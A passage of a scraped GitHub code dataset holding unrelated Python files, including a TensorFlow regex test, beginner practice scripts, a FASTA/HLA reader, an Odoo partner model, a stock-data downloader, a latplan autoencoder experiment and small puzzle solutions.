dtypes\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import gen_string_ops\nfrom tensorflow.python.ops import string_ops\nfrom tensorflow.python.platform import test\n\n\n@parameterized.parameters(\n (gen_string_ops.regex_full_match),\n (gen_string_ops.static_regex_full_match))\nclass RegexFullMatchOpVariantsTest(test.TestCase, parameterized.TestCase):\n\n @test_util.run_deprecated_v1\n def testRegexFullMatch(self, op):\n values = [\"abaaba\", \"abcdabcde\"]\n with self.cached_session():\n input_tensor = constant_op.constant(values, dtypes.string)\n matched = op(input_tensor, \"a.*a\").eval()\n self.assertAllEqual([True, False], matched)\n\n @test_util.run_deprecated_v1\n def testRegexFullMatchTwoDims(self, op):\n values = [[\"abaaba\", \"abcdabcde\"], [\"acdcba\", \"ebcda\"]]\n with self.cached_session():\n input_tensor = constant_op.constant(values, dtypes.string)\n matched = op(input_tensor, \"a.*a\").eval()\n self.assertAllEqual([[True, False], [True, False]], matched)\n\n @test_util.run_deprecated_v1\n def testEmptyMatch(self, op):\n values = [\"abc\", \"1\"]\n with self.cached_session():\n input_tensor = constant_op.constant(values, dtypes.string)\n matched = op(input_tensor, \"\").eval()\n self.assertAllEqual([False, False], matched)\n\n @test_util.run_deprecated_v1\n def testInvalidPattern(self, op):\n values = [\"abc\", \"1\"]\n with self.cached_session():\n input_tensor = constant_op.constant(values, dtypes.string)\n invalid_pattern = \"A[\"\n matched = op(input_tensor, invalid_pattern)\n with self.assertRaisesOpError(\"Invalid pattern\"):\n self.evaluate(matched)\n\n\nclass RegexFullMatchOpTest(test.TestCase):\n\n @test_util.run_deprecated_v1\n def testRegexFullMatchDelegation(self):\n with self.cached_session():\n input_tensor = constant_op.constant(\"foo\", dtypes.string)\n pattern = \"[a-z]\"\n op = string_ops.regex_full_match(input_tensor, pattern)\n self.assertFalse(op.name.startswith(\"RegexFullMatch\"), op.name)\n\n pattern_tensor = constant_op.constant(\"[a-z]*\", dtypes.string)\n op_tensor = string_ops.regex_full_match(input_tensor, pattern_tensor)\n self.assertTrue(op_tensor.name.startswith(\"RegexFullMatch\"), op.name)\n\n @test_util.run_deprecated_v1\n def testStaticRegexFullMatchDelegation(self):\n with self.cached_session():\n input_tensor = constant_op.constant(\"foo\", dtypes.string)\n pattern = \"[a-z]*\"\n op = string_ops.regex_full_match(input_tensor, pattern)\n self.assertTrue(op.name.startswith(\"StaticRegexFullMatch\"), op.name)\n\n pattern_tensor = constant_op.constant(\"[a-z]*\", dtypes.string)\n op_vec = string_ops.regex_full_match(input_tensor, pattern_tensor)\n self.assertTrue(op_vec.name.startswith(\"RegexFullMatch\"), op.name)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/kernel_tests/strings_ops/regex_full_match_op_test.py","file_name":"regex_full_match_op_test.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"14338257173","text":"import functions as fn\nimport classes as c\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport inspect as imp\n\nd = c.dynamic()\nd.name = \"jon\"\nprint(d.__dict__)\n\n#classes\nmyclass = c.Student(\"Jon\",1)\nmyclass.identifier = 37 #change property value\nmyclass.age = 18\nfor v in myclass.__slots__:\n if v.isalpha():\n print(v)\n\nprint(myclass.__slots__)\n#print(myclass.__dict__.values) #doesnt work - potentially slots\n\nprint(c.Student2.age) #age is a public property, cant view name as private\nmyclass2 = c.Student2(\"Jon\",\"JB\")\nattrs = vars(myclass2) #doesnt include age (public)\nprint (', '.join(\"%s: %s\" % item for item in attrs.items()) )\nmylist= []\nfor prop in myclass2.__dict__.values():\n mylist.append(prop)\nprint(mylist)\n#print(myclass.__slots__)\nprint(c.Student.__dict__)\n\na = c.A(1,2)\nfor prop in a.__dict__.values():\n print(prop)\n\n\n\n#dictionary\nmydict = {\"jon\":38,\"aidan\":34}\nprint(mydict[\"jon\"])\n\n#numpy practice\nmyArr = np.array([(1,2,3),(4,4,5)])\nprint(np.mean(myArr,axis = 0)) #average columns\nprint(np.mean(myArr,axis = 1)) #average rows\nprint(myArr.shape)\nmyArr2 = myArr.reshape(3,2)\nprint(myArr2)\n\narr = np.array([[1, 2, 3],\n [4, 2, 5]])\n\n#characteristics\nprint(\"Array is of type: \", type(arr))\nprint(\"No. of dimensions: \", arr.ndim)\nprint(\"Shape of array: \", arr.shape)\nprint(\"Size of array: \", arr.size)\nprint(\"Array stores elements of type: \", arr.dtype)\n\n#iterate over numpy array\nfor x in np.nditer(myArr):\n print(x)\n\n#battery algo\nmydict = {}\nmydict2 = {}\nnum_batteries = 8\nfor x in range(0,num_batteries):\n mydict[x] = False\n mydict2[x] = False\n\nfor x in range(0, num_batteries):\n if mydict[x] == False:\n for y in range(x+1,num_batteries):\n if fn.light(x,y) == True:\n mydict[x] = True\n mydict[y] = True\n\n#alternative\nxit = False\nwhile xit == False:\n for y in range(0, num_batteries):\n if fn.light(x, y) == True:\n mydict2[x] = True\n mydict2[y] = True\n xit = True\n\nprint(mydict2)\nprint(mydict)\n\n#map and filter\nmylist = [0,1,3,5,6]\nnewlist = list(map(lambda x: x * 2,mylist))\nnewlist1 = list(filter(lambda x: x % 2 == 0,mylist))\n\nprint(newlist)\nprint(newlist1)\n\n#len vs count\nif len(mylist) == 5:\n print(mylist.count(1))\n\nmy_list = []\nfor i in range(5):\n my_list.append(i)\n\nprint(my_list[0])\nprint(list(map(lambda x:x**2,my_list)))\n\n#function as a variable\nmyfunc = fn.light(1,2)\n#x = myfunc(1,2)\nprint(myfunc)\n\n#pandas - load data\npath = 'C:/Users/John/PycharmProjects/'\nairports = pd.read_csv(path + 'airports.csv')\nairport_freq = pd.read_csv(path + 'airport-frequencies.csv')\n#runways = pd.read_csv(path + 'data/runways.csv')\n\nprint(airports.head(5))\nmx = airports.id.max()\nsingle_col = airports['id'] #or airports.id\ndistinct_col = airports.type.unique()\nprint(distinct_col[0]) #can also use head(3)\nselect_cols = airports[['ident', 'name', 'municipality']]\nwhere_clause = airports[(airports.iso_region == 'US-CA') & (airports.type == 'seaplane_base')]\n\n#merge & groupby\nfreq_subset = airport_freq.groupby(['airport_ident'])['frequency_mhz'].sum()\nprint(freq_subset.head(5))\nfinal = airports.groupby(['iso_country']).size().head(5)\nmerge_ = pd.merge(freq_subset, airports[['ident','id']], left_on='airport_ident', right_on='ident')\nprint(merge_.head(5))\n#print(airports.groupby(['iso_country', 'type'])['Number'].sum())\n#to_frame adds size header, reset_index provides a new frame and row numbers\n#print(airports.groupby(['iso_country', 'type']).size().to_frame('size').reset_index())\n\n#matplotlib\nplt.plot(final)\n#plt.show()\n\n\n\n\n\n","repo_name":"jbloom04/python-test","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16521816781","text":"###read the HLA and sequence with fasta format\nimport os, sys, re\nfrom collections import OrderedDict\npPath = re.sub(r'bin$', '', os.path.split(os.path.realpath(__file__))[0])\nsys.path.append(pPath)\nfrom bin import sware_i_checkHLA, sware_t_checkHLAformat\n\ndef readfasta(length, HLAtype, fasta_file):\n if os.path.exists(fasta_file) == False:\n print('Error: \"' + fasta_file + '\" does not exist.')\n sys.exit(1) \n upscaleAA = ['A', 'R', 'N', 'D', 'V', 'Q', 'E', 'G', 'H', 'I', 'L', 'K', 'M', 'F', 'P', 'S', 'T', 'W', 'Y', 'C'] \n unusualAA = ['B', 'J', 'O', 'U', 'X', 'Z', 'b', 'j', 'o', 'u', 'x', 'z']\n \n with open(fasta_file) as f:\n content = f.read()\n \n ###check fasta format\n if '>' not in content:\n print('The input file seems not in fasta format.')\n sys.exit(1)\n \n records = content.split('>')[1:]\n dict_HLAfasta = OrderedDict()\n seqname, sequence = [], []\n for fasta in records:\n array = fasta.split('\\n')\n while '|' in array[0]:\n array[0] = array[0].replace('|', '-') \n while '_' in array[0]:\n array[0] = array[0].replace('_', '-') \n thissequence = ''.join(array[1:])\n try:\n seqname.append(array[0].split()[0])\n except:\n print('Something wrong in fasta file, please check. Probably check the name of each sequence.')\n sys.exit(1)\n thissequence = (thissequence.strip()).upper()\n for eachAA in thissequence:\n if eachAA not in upscaleAA:\n print('Unrecognised character exists in your peptide file')###check characters\n sys.exit(1)\n ###check unusuall amino acid\n for eachAA in unusualAA:\n if eachAA in thissequence:\n print('Sequence contain unnatural amino acid, eg: B, J, O, U, X, Z')\n sys.exit(1) \n if len(thissequence) < int(length):\n print('Sequence is shorter than the predicted length chosen')\n sys.exit(1) \n sequence.append(thissequence) \n \n dict_nameseqs = OrderedDict()\n for items in enumerate(sequence):\n startpos, stoppos = 0, int(length)\n seqlist = []\n while stoppos < len(items[1]) +1 :\n seqlist.append(items[1][startpos: stoppos])\n startpos += 1\n stoppos += 1\n dict_nameseqs[seqname[items[0]]] = seqlist\n \n ###check input HLA format\n HLAlist = sware_t_checkHLAformat.checkHLAinput(HLAtype, None) \n for eachHLA in HLAlist:\n dict_HLAfasta[eachHLA] = OrderedDict()\n for items in enumerate(seqname):\n dict_HLAfasta[eachHLA][items[1]] = sequence[items[0]]\n\n ###check available HLA in the length\n sware_i_checkHLA.checkHLA(length, HLAlist) \n \n return(HLAlist, dict_nameseqs, dict_HLAfasta)","repo_name":"17shutao/Anthem","sub_path":"bin/sware_g_readfasta.py","file_name":"sware_g_readfasta.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"} +{"seq_id":"21459454448","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields\n\n\nclass VendorDetailsInherited(models.Model):\n _inherit = 'res.partner'\n\n type_of_client_long_id = fields.Many2one(\n 'vendor.details', string=\"Type of Client Long\")\n type_of_client_short = fields.Selection(\n string=\"Type of Client Short\",\n selection=[('b2b', 'B2B'), ('b2c', 'B2C')])\n place_of_invoicing_id = fields.Many2one(\n 'vendor.invoice', string=\"Place of invoicing\")\n contract_expiration_date = fields.Date(string=\"Contract Expiration Date\")\n suspend = fields.Boolean(default=True, string=\"Active\")\n is_guest_partner = fields.Boolean(string=\"Guest Partner\",\n help=\"Boolean used to identify weather the partner is a guest\")\n is_passenger = fields.Boolean(string='Passenger',\n help=\"Boolean used to identify weather the partner is a passenger\")\n is_pos_partner = fields.Boolean(string=\"Pos Partner\",\n help=\"Boolean used to identify weather \"\n \"the partner is a pos parner\")\n is_walker = fields.Boolean(string='Is Walker',\n help=\"Boolean used to identify weather the \"\n \"parner is a walker\")\n is_membership = fields.Boolean(\n string=\"Is Membership\",\n help=\"used to identify whether it is an membership contact\")\n is_agency = fields.Boolean(\n string=\"Is Agency \",\n help=\"used to identify whether it is an agency contact\"\n )\n is_lineas_aereas = fields.Boolean(\n string=\"Is Lineas aereas \",\n help=\"used to identify whether it is an Clientes Lineas aereas\"\n )\n comercial_name = fields.Char(\n string=\"Nombre Comercial\",\n help=\"Comercial Name of the company\"\n )\n client_price_details_ids = fields.One2many('clients.price', 'partner_id',\n help=\"used to know about the \"\n \"price and tax details \"\n \"about the client\")\n extra_time_price = fields.Float(string='Extra Time Price',\n help=\"used to store the extra time price\")\n\n\nclass ClientsPriceDetails(models.Model):\n _name = 'clients.price'\n _description = 'Clients Price Details'\n\n branch_name = fields.Many2one('fisa.branch', string='Branch Name',\n help=\"Name of the branch\")\n price = fields.Float(string=\"Tariff\",\n help=\"Tariff of the partner according to the branch\")\n rc_tax_ids = fields.Many2many(\n 'account.tax',\n string=\"TAX\",\n help=\"Customer tax according to the branch\"\n )\n partner_id = fields.Many2one('res.partner')\n","repo_name":"Spitzodoo1/fisa-inversiones","sub_path":"custom_details/models/vendor_details_in_contact.py","file_name":"vendor_details_in_contact.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72288281384","text":"#!/usr/local/python3/bin/python3\nimport sys\nsys.path.append(\"..\")\nsys.path.append(\"../..\")\nimport tushare as ts\nimport re\nimport datetime\nimport numpy as np\nimport basicdata.basic_mgr as sk\nimport time\nimport os\nimport pandas as pd\nfrom lib.time import (strtime_today, strtime_by_range, strtime_latest_trade_date, strtime_convert)\n\nroot='/home/worker/stock/'\nsave_dir='./hdaily-data/'\ng_start_date='20030501'\ng_end_date='20190901'\n\ndef download(pro):\n tscodes=sk.get_tscodes(pro)\n for i in range(len(tscodes)):\n save_path=save_dir+tscodes[i]+\".csv\"\n if os.path.exists(save_path) == False:\n print(tscodes[i])\n df = ts.pro_bar(ts_code=tscodes[i], start_date=g_start_date, end_date=g_end_date, ma=[2,3,4,5,8,10,15,20],factors=['tor','vr'])\n df.to_csv(save_path)\n time.sleep(0.5)\n\ndef get_price(szcode, date=None):\n global root\n date=strtime_latest_trade_date(date)\n date=int(strtime_convert(date))\n df=pd.read_csv(root+'stock/hdailydata/hdaily-data/'+szcode+'.csv')\n pricedf=df.loc[df['trade_date']==date,['open','close']]\n if len(pricedf['open'].tolist()) > 0:\n return {'date':date,'open':pricedf['open'].tolist()[0], 'close':pricedf['close'].tolist()[0]}\n return {'date':-1,'open':-1, 'close':-1}\n\nif __name__=='__main__':\n ts.set_token('08aedc1cc54171e54a64bbe834ec1cb45026fa2ab39e9e4cb8208cad')\n pro = ts.pro_api('08aedc1cc54171e54a64bbe834ec1cb45026fa2ab39e9e4cb8208cad')\n #download(pro)\n print(get_price('000010.SZ', '2019-08-30'))\n","repo_name":"haianhua/stock","sub_path":"stock/hdailydata/hdaily_mgr.py","file_name":"hdaily_mgr.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10742731079","text":"# Runtime 45 ms | Beats 80.65% | Memory 13.8 MB | Beats 77.84%\n\ndef halvesAreAlike(values):\n for s in values:\n if len(s)%2 == 0:\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n l = int(len(s)/2)\n a, b = s[0:l], s[l:]\n count_a, count_b = 0, 0\n \n for i in a:\n if i in vowels:\n count_a += 1\n \n for i in b:\n if i in vowels:\n count_b += 1\n \n if count_a == count_b:\n print(f\"{s}:{True}\")\n \n else:\n print(f\"{s}:{False}\")\n return\n\nvalues = [\"book\", \"textbook\"]\nhalvesAreAlike(values)\n\n","repo_name":"guilhermedamaral/Leetcode","sub_path":"1704_determine_if_string.py","file_name":"1704_determine_if_string.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70818472745","text":"#!/usr/bin/env python3\n\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom keras import backend as K\nfrom keras_radam import RAdam\nimport keras.optimizers\nsetattr(keras.optimizers,\"radam\", RAdam)\n\n\n#\nimport sys\nimport os\n\n# All latplan imports\nsys.path.append(r\"../latplan\")\nimport latplan\nimport latplan.model\nimport latplan.util.stacktrace\nfrom latplan.util.tuning import simple_genetic_search, parameters, nn_task, reproduce, load_history, loadsNetWithWeights, loadsNetWithWeightsGOOD\nfrom latplan.util import curry\nfrom latplan.main.common import train_val_test_split\nfrom latplan.main.puzzle import load_puzzle\nfrom train_common import parameters\n\n\nfrom lyrics import lyrics as lyr\nfrom lyrics import fuzzy as fuzz\n\n\nfrom sklearn import datasets as data\nimport matplotlib.pyplot as plt\n\n\nimport numpy as np\n\n\n\ndef reset_weights(model):\n session = K.get_session()\n for layer in model.layers:\n \n if hasattr(layer, 'kernel_initializer'):\n print(\"re-init weights of layer : \"+layer.name)\n layer.kernel.initializer.run(session=session)\n\n\n\n\ndef my_loss_fn(y_true, y_pred):\n\n # y_true et y_pred sont (36000, 2, 48, 48, 1)\n\n res_equal = 1. - tf.reduce_mean(tf.abs(y_pred - y_true), [1,2,3])\n\n loss = 1 - tf.reduce_sum(res_equal, axis=0)\n\n return loss\n\n # doit retourner un array of loss, où chaque valeur correspond à 1 valeur du batch\n # donc retourne un array de dim le batch\n\n\n\nclass isEqual():\n\n\n def __init__(self, var = None):\n super(isEqual, self).__init__()\n self.var = tf.get_variable(name=\"randomVar\", shape=(36000, 1))\n\n def __call__(self, x, y):\n \n # we compute mean across pairs (1), and accross dim of images (2, 3)\n # dim 0 (= #examples) is left for reduce_sum (see l.forall)\n aa = 1. - tf.reduce_mean(tf.abs(x - y), [1,2,3])\n self.var.assign(aa)\n return self.var\n\n\ndef model_loss_function(model, data):\n\n #model.load()\n\n y_true = data # car on est dans le cas d'un autoencoder ici\n\n y_pred = model.predict(data)\n\n res_equal = 1. - tf.reduce_mean(tf.abs(y_pred - y_true), [1,2,3])\n\n loss = 1 - tf.reduce_sum(res_equal, axis=0)\n\n return loss\n\n\ndef return_iterator(data, nb_epochs, batch_size): # return get_next\n\n dataset = tf.data.Dataset.from_tensor_slices(data) # = 36k Tensors de taille (2, 48, 48, 1) chacun\n # \n dataset = dataset.repeat(nb_epochs).batch(batch_size) # repeat the train data 'epoch' times (10 x 36k) et recombine en batchs \n # de taille 'batch_size' (64)\n # => 5 625 'sets'\n # \n iterator = dataset.make_one_shot_iterator() # creates the iterator\n yy = iterator.get_next()\n\n return tf.cast(yy, tf.float32)\n\n\ndef _add_misc_info(config):\n for key in [\"HOSTNAME\", \"LSB_JOBID\"]:\n try:\n config[key] = os.environ[key]\n except KeyError:\n pass\n\n\nparameters['batch_size'] = 400\nparameters['N'] = 300\nparameters['beta_d'] = 10\nparameters['beta_z'] = 10\nparameters['aae_depth'] = 2 # see Tble 9.1, PAS SUR DE LA SIGNIFICATION là !!!\nparameters['aae_activation'] = 'relu' # see 9.2\nparameters['aae_width'] = 1000 # not sure, see 9.1 fc(1000) and fc(6000)\nparameters['max_temperature'] = 5.0\nparameters['conv_depth'] = 3 # dans 9.1, encode ET decode ont chacun 3 Conv\nparameters['conv_pooling'] = 1 # = train_common.py\nparameters['conv_kernel'] = 5 # = train_common.py\nparameters['conv_per_pooling'] = 1\nparameters['conv_channel'] = 32\nparameters['conv_channel_increment'] = 1\nparameters['eff_regularizer'] = None\nparameters['A'] = 6000 # max # of actions\nparameters[\"optimizer\"] = \"radam\"\nparameters[\"aeclass\"] = 'CubeSpaceAE_AMA4Conv'\nparameters['hash'] = \"8dd53f4ca49f65444250447a16903f86\"\ntransitions, states = load_puzzle('mnist', 3, 3, 40000, objects=False)\ntrain, val, test = train_val_test_split(transitions)\n\n\n# train : (36000, 2, 48, 48, 1)\n# print(len(train)) = 36000\n# print(len(val)) = 2000\n# print(len(test)) = 2000\n\n#x = transitions[:6] # (6, 2, 48, 48, 1) # 6 transitions d'image 48 x 48\npath = 'samples/puzzle_mnist_3_3_40000_CubeSpaceAE_AMA4Conv'\n\n\n\n\ntask = curry(loadsNetWithWeightsGOOD, latplan.model.get(parameters[\"aeclass\"]), path, train, train, val, val) \n_add_misc_info(parameters)\nos.chdir('../latplan')\nlatplan_model, error = task(parameters)\n\nos.chdir('./')\n\n\n\n\n# instance of the Model class from Keras\nmodel = latplan_model.autoencoder\n\n\nreset_weights(model)\n\n\n# numpy array of (36000, 2, 48, 48, 1)\ntrain_data = train \n\n\ndef onetrainstep(model, data):\n\n with tf.GradientTape() as tape:\n #logits = model(data)\n logits = model.train_on_batch(data, data)\n\n evals = model.evaluate(data, data, steps=400, verbose=0)\n print(evals)\n\n\nprint(keras.__version__)\n\nmodel.compile(optimizer='adam', loss=my_loss_fn)\ntrain_data = np.array(np.split(train_data, 90))\n\n\n\nfor step in range(100):\n\n\n the_batch_data = tf.cast(train_data[step], dtype=tf.float32)\n onetrainstep(model, the_batch_data)\n\n if(step%20 == 0):\n\n prediction = model.predict(np.expand_dims(test[step], axis=0))\n\n plt.figure(figsize=(6,6))\n plt.imshow(np.squeeze(prediction[0][0]),interpolation='nearest',cmap='gray')\n plt.savefig('im'+str(step)+'.png')\n # display the value of the loss function \n\n\nexit()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nwith tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n\n\n ################################################\n # build model\n # <=> declaration de tous les inputs + \n ################################################\n\n # y = all predictions of the autoencoder over the training set (train)\n task = curry(loadsNetWithWeightsGOOD, latplan.model.get(parameters[\"aeclass\"]), path, train, train, val, val) \n _add_misc_info(parameters)\n os.chdir('../latplan')\n latplan_model, error = task(parameters)\n y = latplan_model.autoencode(train)\n #y = latplan_model.autoencode(exxxx) #\n\n os.chdir('./')\n y = tf.convert_to_tensor(y, dtype=tf.float32)\n\n\n\n # type(train) \n # train shape: (36000, 2, 48, 48, 1)\n\n # type(y) \n # y shape: (36000, 2, 48, 48, 1)\n # y : Tensor(\"Const_18:0\", shape=(36000, 2, 48, 48, 1), dtype=float32)\n\n\n\n\n # data_y = all the original images (formatted here, into tensors)\n nb_epochs = 10\n batch_size = 64\n data_y = return_iterator(train, nb_epochs, batch_size)\n y = return_iterator(y, nb_epochs, batch_size)\n\n\n #print(\"data_y\") Tensor(\"Cast_4:0\", shape=(?, 2, 48, 48, 1), dtype=float32)\n\n #print(\"y\") Tensor(\"IteratorGetNext_1:0\", shape=(?, 2, 48, 48, 1), dtype=float32)\n\n\n # instanciation of isEqual (returns the mean between 2 sequences of images, i.e, originals and predicted here)\n equal = isEqual()\n\n\n # Loss class, instanciated\n l = fuzz.LogicFactory.create(\"lukasiewicz-strong\")\n \n # call of the forall function from the \"l\" class\n # concretly, does a reduc_sum over all the images (e.g 36 000 the training set)\n \n #l1_loss = 1 - l.forall(equal(y, data_y))\n\n # 1. - tf.reduce_mean(tf.abs(x - y), [1,2,3])\n\n res_equal = 1. - tf.reduce_mean(tf.abs(y - data_y), [1,2,3])\n\n l1_loss = 1 - tf.reduce_sum(res_equal, axis=0)\n\n #l1_loss = 1 - l.forall(equal(latplan_model.autoencoder, data_y))\n\n\n\n #\n # \n # equal : 1. - tf.reduce_mean(tf.abs(model - y_tensor), [1,2,3]) # \n #\n # forall : \n # y_data : Tensor(\"Cast_4:0\", shape=(?, 2, 48, 48, 1), dtype=float32)\n # y : Tensor(\"Const_18:0\", shape=(36000, 2, 48, 48, 1), dtype=float32)\n #\n # \n\n\n\n # could be useful ... (see Lyrics Autoencoder example, UNIT_CLARE_2)\n t_vars = tf.trainable_variables()\n lr = tf.placeholder(tf.float32, name='learning_rate')\n\n # Optimizer\n opt = tf.train.AdamOptimizer().minimize(l1_loss)\n\n\n\n ################################################\n # TRAIN #\n ################################################\n\n\n\n\n\n train_dataset = tf.data.Dataset.from_tensor_slices((train, train))\n\n epochs = 2\n\n for epoch in range(epochs):\n\n for step, (x_batch_train, y_batch_train) in enumerate(train_dataset):\n\n with tf.GradientTape() as tape:\n\n logits = model(x_batch_train, training=True)\n\n loss_value = my_loss_fn(y_batch_train, logits)\n\n # Use the gradient tape to automatically retrieve\n # the gradients of the trainable variables with respect to the loss.\n grads = tape.gradient(loss_value, model.trainable_weights)\n\n # Run one step of gradient descent by updating\n # the value of the variables to minimize the loss.\n optimizer.apply_gradients(zip(grads, model.trainable_weights))\n\n\n# Define Domain and one Individual example for the input/output Images\n\n\ndom = lyr.Domain(label=\"Image\", data=tf.random_normal([48,48]))\n\nIm1 = lyr.Individual(label=\"Im1\", domain=\"Image\", value=tf.Variable(tf.random_normal([48,48])))\n\nIm2 = lyr.Individual(label=\"Im2\", domain=\"Image\", value=tf.Variable(tf.random_normal([48,48])))\n\n\n# le loss sera définit à partir de la Constraint (car on fait loss = lyr.current_world.loss())\n# \t\t\t\tet cette Constraint s'exprime avec une function (ici \"is\" / AreEqual)\n# \t\t\t\t\tc'est dans AreEqual que tu retourne le mean_squared_error entre les deux images\n\n\n# we instanciate the AreEqual function into the simil variable\nsimil = lyr.functions.AreEqual(\"simil\")\n\n\nresSAE = lyr.functions.LatplanSAE(\"resSAE\",2304,99,[99]) # \"99\" because we don't use them\n\n\n\n# we associate the relation \"is\" to corresponds to the output of the AreEqual variable (inputs being two individual of the Domain \"Image\")\nlyr.Relation(label=\"is\", domains=(\"Image\", \"Image\"), function =simil)\n\n\n\n\n# we call a constraint consisting of the test of \"is\" on two individuals Im1 and Im2\nlyr.Constraint(\"forall x: is(x, resSAE(x))\")\n\n\n\n# We create the loss and optimizer based on this Constraint\n\n# !! loss (fnctions.AreEqual !!!) must be the ouput of mse(predictions=model, labels=y) WHERE y = tf.placeholder \n\n# AND model is the last layer of the constructed model \n# AND where this constructed model has been built with x(=tf placeholder) as a first layer !!!!!\n\nloss = lyr.current_world.loss() # retrieve all losses, included the Constraint one\ntrain_op = tf.train.GradientDescentOptimizer(1).minimize(loss)\n\n","repo_name":"aymeric75/lyrics","sub_path":"training-latplan3.py","file_name":"training-latplan3.py","file_ext":"py","file_size_in_byte":10769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39013993639","text":"# 9095 1, 2, 3 더하기\nimport sys\nsys.stdin = open('123plus.txt', 'r')\n\ndef sol():\n global cnt, sum_v\n if sum_v == n: # 더한 값이 n일 경우 cnt + 1하고 return\n cnt += 1\n return\n for i in range(1, 4): # 1 ~ 3까지 더해줌\n if sum_v + i <= n:\n sum_v += i\n sol()\n sum_v -= i\n\nT = int(input()) # 전체 tc 개수\n\nfor tc in range(1, T+1):\n n = int(input())\n sum_v = 0\n cnt = 0\n sol()\n print(cnt)\n\n'''\n문제 접근 방식 : dfs 방식으로 sum_v와 cnt를 글로벌 선언\n sum_v는 합이 n이 될 때까지 이용, cnt는 sum_v가 n일 경후 +1하여 카운트\n\n어려웠던점:\n\n설명이 필요한점: \n'''","repo_name":"eomsteve/algo_study","sub_path":"johoh0/3rd_week/9095_123plus.py","file_name":"9095_123plus.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70925922663","text":"def palindrom(str):\n\n for i in range(0,int(len(str)/2)):\n if str[i]!= str[len(str)-i-1]:\n return False\n return True\n\n#main function \ns=\"malayalam\"\nans =palindrom(s)\n\nif ans:\n print(\"yes\")\nelse:\n print(\"No\")\n ","repo_name":"shuklaforyou/place","sub_path":"Basice/palindrom/2_p.py","file_name":"2_p.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37486891243","text":"def init_table(rows=0, cols=0, default=None):\n table = []\n for row in range(rows):\n x = []\n for col in range(cols):\n x.append(default)\n table.append(x)\n return table\n\ndef get(table, row, col, default=0):\n if row < 0 or col < 0:\n return default\n return table[row][col]\n\ndef print_table(table):\n result = []\n for row in range(len(table)):\n result.append(' '.join([str(cell) for cell in table[row]]))\n print('\\n'.join(result))\n","repo_name":"tvl-fyi/depot","sub_path":"users/wpcarro/scratch/facebook/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24708215709","text":"import os\nimport setuptools\nimport soundscrape\nimport sys\n\nfrom setuptools import setup\n\n# To support 2/3 installation\nsetup_version = int(setuptools.__version__.split('.')[0])\nif setup_version < 18:\n print(\"Please upgrade your setuptools to install SoundScrape: \")\n print(\"pip install -U pip wheel setuptools\")\n quit()\n\n# Set external files\ntry:\n from pypandoc import convert\n README = convert('README.md', 'rst')\t \nexcept ImportError:\n README = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()\n\nwith open(os.path.join(os.path.dirname(__file__), 'requirements.txt')) as f:\n required = f.read().splitlines()\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='soundscrape',\n version=soundscrape.__version__,\n packages=['soundscrape'],\n install_requires=required,\n extras_require={ ':python_version < \"3.0\"': [ 'wsgiref>=0.1.2', ], }, \n include_package_data=True,\n license='MIT License',\n description='Scrape an artist from SoundCloud',\n long_description=README,\n url='https://github.com/Miserlou/SoundScrape',\n author='Rich Jones',\n author_email='rich@openwatch.net',\n entry_points={\n 'console_scripts': [\n 'soundscrape = soundscrape.soundscrape:main',\n ]\n },\n classifiers=[\n 'Environment :: Console',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n ],\n)\n","repo_name":"Miserlou/SoundScrape","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":1398,"dataset":"github-code","pt":"36"} +{"seq_id":"8419590520","text":"lines = open(\"day9/input.txt\").readlines()\r\n\r\nlines = [x.rstrip(\"\\n\") for x in lines]\r\n\r\nlines = [int(x) for x in lines]\r\n\r\nlast25 = []\r\n\r\ndef push(number):\r\n global last25\r\n last25.remove(last25[0])\r\n last25.append(number)\r\n\r\ndef check(number):\r\n for i in last25:\r\n for j in last25:\r\n if i+j == number:\r\n return True\r\n return False\r\n\r\nfor line in lines[:25]:\r\n last25.append(line)\r\nlines = lines[25:]\r\n\r\nfor line in lines:\r\n if not check(line):\r\n print(\"%d is not a sum of one of the last 25 exchanged numbers.\" % line)\r\n exit(1)\r\n 